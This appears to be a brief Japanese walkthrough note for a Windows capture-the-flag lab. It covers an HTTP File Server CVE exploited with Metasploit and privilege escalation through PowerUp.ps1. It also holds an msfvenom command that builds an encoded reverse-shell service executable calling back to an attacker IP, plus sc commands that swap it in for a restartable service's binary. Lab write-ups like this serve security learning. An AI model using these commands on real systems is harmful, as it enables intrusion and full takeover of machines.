初めての windows

user

  • HTTP File Server があるので metasploit で CVE を見つける

root

  • windows は PowerUP.ps1 が使える
    • upload /PowerUp.ps1
    • Invoke-AllChecks
  • AdvancedSystemCareService9 が再起動できるので，悪意ある exe に置き換える
    • msfvenom -p windows/shell_reverse_tcp LHOST=<attacker ip> LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o ASCService.exe
  • “shell” でシェルを起動
    • sc stop AdvancedSystemCareService9
    • copy ASCService C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
    • sc start AdvancedSystemCareService9